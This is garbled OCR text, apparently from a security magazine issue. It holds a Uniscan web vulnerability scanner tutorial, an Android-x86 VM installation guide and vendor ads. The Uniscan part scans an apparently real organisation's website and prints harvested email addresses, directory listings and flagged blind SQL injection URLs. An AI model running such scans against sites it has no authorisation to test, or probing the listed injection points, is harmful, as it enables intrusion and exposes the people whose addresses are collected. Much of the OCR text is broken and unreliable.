o+ Programming > ’T\"ﬂy Forensics > \wpscan
Sound & Video ] |’= Reporting Tools b \ KSSEr

”_: System Tools 1 ﬂ.ﬂ' System Services \ Zaproxy

Applications Places | z jp " SunDec 1, B8:43 PM

Figure 1. Opening Uniscan in the GUI

B. Open the terminal, type uniscan-gui, and hit Enter (Figure 2).

File Edit View Search Terminal Help
~# uniscan-gui

Uniscan Web Vulnerability Scanner

URL: |Ioca|hcst

Uniscan Options: _| Check Directory _| Check Files _| Check /frobots.ixt _| Dynamic tests
_| Static tests _| Stresstests _| Web Fingerprint _| Server Fingerprint
Start scan | Open log file

Figure 2. Opening Uniscan-gui in the terminal
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C. Open the terminal, type uniscan, and hit Enter (Figure 3).

File Edit View Search Terminal Help

[ ~# uniscan
é### R R i

## ################ﬁﬁ###ﬁ########

]

V. 6.2

[OPTIONS:

£ M . example.com/

and sitemap.xml check

Figure 3. Opening Uniscan in the terminal

Step 2.

This command is used to scan the vulnerabilities on the target (Figure 4).
Syntax — uniscan -u target host/IP -gweds
Example —uniscan -u www.hubbardbrook.org —-gweds

Here, -4 — enable directory checks

File Edit View 5Search Terminal Help

=~# uniscan -u . hubbardke
#### ####### ####### FH
| : #

Figure 4. Scanning vulnerabilities on target

Step 2A.

Here, you can see the domain, server, and IP of the target URL, as well as the directory check result (Figure 5).
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library/

Figure 5. Domain, server, IP, and directory check result

Step 3.

You can see file check, check robots.txt , check sitemap.xml, and Crawler plugin (Figure 6).

Mo result

Crawler Startec
Flugin name:
Flugin name:
Flugin name:
Flugin name:
Flugin name:
Flugin name:
Flugin name:
Flugin name: W
Crawling fi

Figure 6. File check, check robots.txt, check sitemap.xml, and Crawler plugin

Step 4.

You can see FCKeditor file upload and e-mails information (Figure 7).
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or File Upl

Mo result

E-mails:

[+] E-mail Found:

[+] E-mail Found:

[+] E-mail Found

[+] E-mail Found:

[+] E-mail Found

[+] E-mail Found:

[+] E-mail Found

[+] E-mail Found:

[+] E-mail 3

[+] E-mail

[+] E-mail

[+] E-mail

[+] E-mail

[+] E-mail d: ameybailey@f
[+] E-mail Found: nai@mail
[+] E-mail Found:

[+] E-mail L

[+] E-mail Found: lovettg@caryinstitute.org

Figure 7. FCKeditor file upload and e-mails information

Step 5.

.hubbardbro /mirrorlake kids tou

nirrorlake Kk

.hubbardbro

w . hubbard

w . hubbardb

-/anamal

Figure 8. Source Code Disclosure

Step 6.

Timthumb and external hosts (Figure 9).
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Timthumb: Mo result

Found :

Found:

Found :

Found:

Found:

Found:

Found:

Found:

Found:

Found :

Found:

Found:

Found: )
t Found: ht WA LUmass.
ernal Host Found: http V. Uuvm . edu

+
+
+
+
+
+
+
+
L

B i e e = = T A = =

+

Figure 9. Timthumb and external hosts

Step 7.

PHPinfo () Disclosure and Web Backdoors (Figure 10).

No result

Figure 10. PHPinfo () Disclosure and Web Backdoors

Step 8.

Dynamic test plugin names and FCKeditor tests (Figure 11).
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Dynamic tests:

C name :

Flugin name:

Flugin name: Flnd Bau up F11
name : B11nd QHL ak
name :
nam
name :
name :

name &

Mo result

Figure 11. Dynamic test plugin names and FCKeditor tests

Step 9.

Timthumb < 1.33 vulnerability, Backup Files and Blind SQL Injection vulnerability information (Figure 12).

| Timthumb < 1.33 wulnerability:

| Backup Files:

NO result

Blind SQL Inj on':

[+] Vul lind S( i]: http w . hubbardb mage Library hp?7id=6
+AND+" ]

[l C

[+] WVul L i]: http:/ www.hubbardbrook /image library/view.php?id=1
G0'+AND+" ]

w . hubbardb mage library/viey ?id=4

rd: Sensing

Figure 12. Timthumb < 1.33 vulnerability, Backup Files and Blind SQL Injection vulnerability information

Step 10.

Local File Include, PHP CGI Argument Injection, Remote Command Execution, Remote File Include, SQL
Injection (Figure 13).

47



Kali Linux

Local File Include:

PHP CGI Argument Injection

Command ution: N 0 R esu It

Figure 13. Local File Include, PHP CGI Argument Injection, Remote Command Execution, Remote File
Include, SQL Injection

Step 11.

Web Shell Finder, Static test plugin names, Local file Include, Remote Command Execution (Figure 14).

No result

| Local File Include:
| No Result

| Remote Command Ex

Figure 14. Web Shell Finder, Static test plugin names, Local file Include, Remote Command Execution

Step 12.

Remote File Include (Figure 15).

Mo result

813 0:51:45

v . hubbardbre .org.html
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Figure 15. Remote File Include

Step 13.

Here we are starting Uniscan-gui. First of all, write your target URL in the URL field. Then, select the box
from Uniscan Options. It depends on which type of scan and which plugin do you want to apply. Then, click
start scan and wait for the scan to finish. After completing, you have to click Open log file. There you can
see your scan result (Figure 16).

URL: |www.hubbardbronk.o rd

1. write Url
which one do
you want to scan

Uniscan Options: [ Check Directory _| Check Files _| Check irobots.txt _| Dynamic tests
| Static tests _| Stresstests _| Fingerprint _| Server Fingerprint

Start ican ! Open Iogma |
2. click which
type of
test/plugins do
3. click here for 4. open log file you want to scan
starting scan will show you
your all scan
results

Figure 16. Scanning options

Step 14.

Open log file. Here, you can see your scan result (Figure 17).

FRAARAAAAAAFAAAAREAARARARAAHRRARARAHS
# Uniscan project #
# htitp://uniscan.scurceforge.net/ #
FRAERAAFAAABAARARRARAAAAAAARARANARARS
AR i

| Domain: http://www.hubbardbrock.org/
| Server: Apache/2.2.14 {Debian)
| B e B S i et G B

|
| Directory check:

| [+] CODE: 200 URL: http://www.hubbardbrook.org/eml/

| [+] CODE: 200 URL: http://www.hubbardbrook.orgfgis/

| [+] CODE: 200 URL: http:r://www.hubbardbrock.crg/icons/

| [+] CODE: 200 URL: http://www.hubbardbrock.ocrg/image_library/
| [+] CODE: 200 URL: http://www.hubbardbrook.org/pecple/

| [+] CODE: 200 URL: http://www.hubbardbrook.org/samples/

|
| File check:

| [+] CODE: 200 URL: http://www.hubbardbrook.org/server-status
| [+] CCDE: 200 URL: http:r://www.hubbardbrock.crg/favicon.ico

| [+] CODE: 200 URL: ht:p:ffwww.hubbardbrook.Drgfindex.shtml

Figure 17. Log file — scan results
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How to Install Android 4.3 on VM

by Rrajesh Kumar

In my previous article I teached you how to install BackTrack 5 on Virtual Machine. This
time you will deal with Android 4.3. You will need just Android-x86-4.3.1SO and any Virtual
Machine Software.

Requirements

*  Android-x86-4.3.1SO

* Any Virtual Machine Software (recommended VM player & VM workstation)

Step 1.

Go to File and click on New Virtual Machine (Figure 1).

'LJ Whtware Workstation
Edit View VM Tabs Help

1 New Virtual Machine... Ctrl+N |
T&l New Window
Upen... Ctr+ O ‘
Close Tab Ctriew ‘
@ Ceonnectto Server... Ctrl=L ® W k t t' 9
z_b Virtualize a Physical Machine... I_!a re Or S a I 0 n

Export to OVF

Map Virtual Disks...

e

Bt

I

Figure 1. Creating a new virtual machine

Step 2.

Select Typical and click Next (Figure 2).

':\‘l‘lﬂl’\ Ll

o Mew Virtual Machine Wizard @

Welcome to the New Virtual
Machine Wizard

What type of configuration do yvou want?

@ Typical (recommended)

Create a Workstation 9.0 virtual machine
in a few easy steps.

-

Custom (advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,
VMware® virtual disk type and compatibility with

. older YMware products.
Workstation 9

[ MNext = ] | Cancel

[51]
il

Figure 2. Choosing the type of configuration
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Step 3.

Select the ISO file and click Next (Figure 3).
Mew Virtual Machine Wizard L&J

Guest Operating System Installation

A virtual machine is like & physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:
Installer disc:
25 DVD RW Drive (G:) Games

click on browse & select I

Android ISo

@) Installer disc image file (iso):
D:\android-x36-4,3-20130725.is0 - oWSE. ..

@ Cannot read this file.
Spedify a different file or select a different option to continue,

) I will install the operating system later.

The virtual machine will be created with a blank hard disk.

Help < Back Mext = Cancel

Figure 3. Selecting the ISO file

Step 4.

You can rename your OS and also you can choose where do you want to install it (Figure 4).

Mew Virtual Machine Wizard i

Hame the Virtual Machine
What name would you like to use for this virtual machine?

IRename it of leave if as default I

Virtual machine N

Android 4.3 W

Location:
C:WsersMusthizib\Documents \irtual Machines\Android 4.3 QWSS .,

The default location can be changed at Edit > Preferences.

vou can change vour location
means vou can choose where vou
want to save vour 0S8

| < Back |[ Mext = ]l Cancel

Figure 4. Choosing the installation path
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Step 5.
Change your OS installation disk size (it should be more than 2 GB) for comfort and click Next (Figure 5).

Mew Virtual Machine Wizard Iﬁ

Specify Disk Capacity
Howe large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as you
add applications, files, and data to your virtual machine.

-

Maximum disk size (GB): 20,0 = Resize vour disk_ It
should be atlest 2 GB
or more then 2 GB. it

. . _ _ will be good for playing
") Stare virtual disk as a single file T chath

Recommended size for FreeBSD: 20 GB

@) Split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks,

[ < Back ][ Mext = ” Cancel ]

— E o ——— 4

Figure 5. Changing your disk size

Step 6.

Click on Finish (Figure 6).

Mew Virtual Machine Wizard Lﬁ

Ready to Create Virtual Machine
Click Finish to create the virtual machine and start instaling FreeBsD.

The virtual machine will be created with the following settings:

Mame: Android 4.3 -
Location: Colsers\Musthiaib\Documentst Virtual Machines\ 4|
Version: Workstation 9.0

m

Operating Syst..,  FreeB5D

Hard Disk: 20 GB, 5plit
Memuory: 256 ME -
] 1 b

Customize Hardware...

vou can customize hardware
here like choose RAM of 1GB

[¥] Power on this virtual machine after creaton

l < Back ][ Finish ]l Cancel ]

Figure 6. Finishing creating the VM
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Step 7.

After booting your ISO, the screen similar to Figure 7 will show. Select Installation (Figure 7).

Android—x=86 Live & Installation CD 4.3-test

SHun Endrond =S=Eet nithout ins ta o 1ion

e S mude
cion — Install Android-=x86 to harddisk

Press [Tabl o ed it options

android-x86.org aN>301D

Figure 7. Starting the installation of the OS

Step 8.

Select Create/Modify partitions and click OK (Figure 8).

Choose Partition
Please select a partition to install Android-x86:

reatesModify partitions

Detect devices

<Cancel>

Figure 8. Creating or modifying partitions
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Step 9.

Select New (Figure 9).

cfdisk (util-linux-ng 2.14.1)
Disk Drive: sdewssda
Size: 21474836488 bytes, 21.4 GB
Head=s: 255 Sectors per Track: B3 Cylinder=s: 2618

Flags Part Type F3 Type [Labell Size (MB)

Pri~Log Free Space 21467.99

1 (T [ Print Quit 1 [ Units

1

Create new partition from free space_

Figure 9. Creating a new partition

Step 10.

Select Primary (Figure 10).

(util-linux-ng 2.14
dev da
’ byte 8589 MB
‘rack 63 Cylinder 1844

FS Type [Label] size (MB)

PrisLog Free Space a587. 28

EEETEE  (LogicallCancel 1

Create a new primary partition_

Figure 10. Creating a primary partition
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Step 11.

Let it be default and press Enter (Figure 11).

cfdisk (util-linux-ng 2.14.1)

Disk Drive: sdewssda
Size: 214748536488 bytes, 21.4 GB
Heads: 255 Sectors per Track: B3 Cylinders: 2618

Part Type F3S Type [Labell

Pri~Log Free Space

Size (in MB): 21467.98

Figure 11. Default settings

Step 12.

Now select Write and press Enter (Figure 12).

cfdisk (util-linu

Nizk Mrive: PUSR
1 21474026408 byt 21.4 GD
Cylinders: 2618

Size (MB)

21467.99

LLabell Size (MH)

L Bootable 1 L lelete 1 1 He 1) I L Maximize 1 L Print
[ Quit 1 I Type 1 [ Units Il Urite 1

Hrite partition table to disk (this might destroy datal_

Figure 12. Selecting the Write option

Step 13.

Type Yes and press Enter (Figure 13).

21467.99
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Are you sure you Wwant to write the partition table to disk? (yes or nold: _

Harning!?! This may destroy data on your disk?

Figure 13. Writing the partition table to disk

Step 14.

Select Quit and press Enter (Figure 14).

[ Bootable 1 [ Delete 1 [ Help 1 [ HMaximize 1 [ Print

L Quit 1 Type 1 [ Units 1 [ MHUrite ]

Quit program Wwithout writing partition table_

Figure 14. Quitting the program without writing partition table

Step 15.

Select saa1 and press Enter (Figure 15).

Choose Partition
Pleaze select a partition to install Android-x86:

=dal Linux UMuiare Uirtuwal I
CreatesModify partitions
Detect dewvices

<Cancel>

Figure 15. Selecting sdal

Step 16.

Select ext3 and press Enter (Figure 16).

57



Kali Linux

Choose filesysten
Please select a filesysten to format =sdal:

Do not format
ext?2
ntfs
fat3z

<Cancel>

Figure 16. Selecting a filesystem to format sdal

Step 17.

Select Yes and press Enter (Figure 17).
Confirm

You chose to format =dal to ext3.
All data in that partition will LOSE.

Are you sure to format the partition =sdal?

¢ Skip >

Figure 17. Confirming formatting

Step 18.

Select Yes and press enter (Figure 18).

Confirm

Do you want to install boot loader GRUB?

¢ Skip >

Figure 18. Installing GRUB
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Step 19.

Select Yes and press Enter (Figure 19).

Question

Do you want to install ~system directory as read-write?

Making ~system be read-write is easier for debugging, but
it needs rmore disk s=pace and longer installation time.

<No >

Figure 19. Installing /system directory as read-write

Step 20.

Select Run Android-x86 and press Enter (Figure 20).
Congratulations?

Android-xBb i= installed successfully.

Hun Android-xB86

Reboot

{Cancel>

Figure 20. Running Android -x86

Step 21.

The booting has started (Figure 21). Be aware that it will take some time.

anNno=0ID

Figure 21. Boot screen
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Step 22.

Select the language and click Start (Figure 22).

English (United States)

Figure 22. Language choice screen

Step 23.

It takes some time to load (Figure 23).

Figure 23. Loading

Step 24.

You can select the available network or just click Skip (Figure 24).

Figure 24. Choosing the network
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Step 25.

Select Yes to setup your Account or No to set it up later (Figure 25).

Figure 25. Setting up your Google account

Step 26.

Set the time and date. Then, click on the arrow (Figure 26).

Figure 26. Setting date and time

Step 27.

Provide the username and click on the arrow (Figure 27).
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Click Here

Figure 27. Providing the username

Step 28.

The desktop screen will appear (Figure 28).

Figure 28. Desktop screen

Step 29.

You can take a look at the default applications (Figure 29).
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Figure 29. Default applications

Step 30.

You can check your Android version in Settings — About tablet (Figure 30).

@ Aboul tablet

Figure 30. Checking your Android version
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A Cyber criminal can target and breach
your organization's perimeter in less than
a second from anywhere in the world ...

ANRC delivers advanced cyber security training, consulting, and development services

that provide our customers with peace of mind in an often confusing cyber security environment.
ANRC's advanced security training program utilizes an intensive hands-on laboratory method

of training taught by subject matter experts to provide Information Security professionals with
the knowledge and skills necessary to defend against today's cyber-attacks and tomorrow's
emerging threats.

ANRC's consulting and development services leverage team member knowledge and experience
gained in the trenches while securing critical networks in the U.S. Department of Defense and

large U.S. corporations. ANRC tailors these services to deliver computer security solutions specific

to the needs of the customer's operational environment. Our approach emphasizes a close relationship
with our clients as an integral part of our service. We believe we're all in the security battle together,
and we view our customers as key members of our team in the fight.

TRAINING :: CONSULTING :: SOLUTIONS
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QeIN SOME CASES

nipper studio

HAS VIR TUALLY

REMOVED
> NEED FOR -

MANUAL AUDIT s

CISCO SYSTEMS INC.

Titania’s award winning Nipper Studio configuration
auditing tool is helping security consultants and end-
user organizations worldwide improve their network
security. Its reports are more detailed than those typically
produced by scanners, enabling you to maintain a higher
level of vulnerability analysis in the intervals between
penetration tests.

Now used in over 45 countries, Nipper Studio provides a
thorough, fast & cost effective way to securely audit over
100 different types of network device. The NSA, FBI, DoD
& U.S. Treasury already use it, so why not try it for free at
www.titania.com

i\ompuﬂné & gkomputmé
Securi ~ .

Security Producis
Awar S l o ™ P Awards

WINNER [ ( \ |—' WINNER
Enterprise Security J — l_) Network Security
Solution of the Year > 2013 Governmen Security Awards Solution of the Year

www.titania.com
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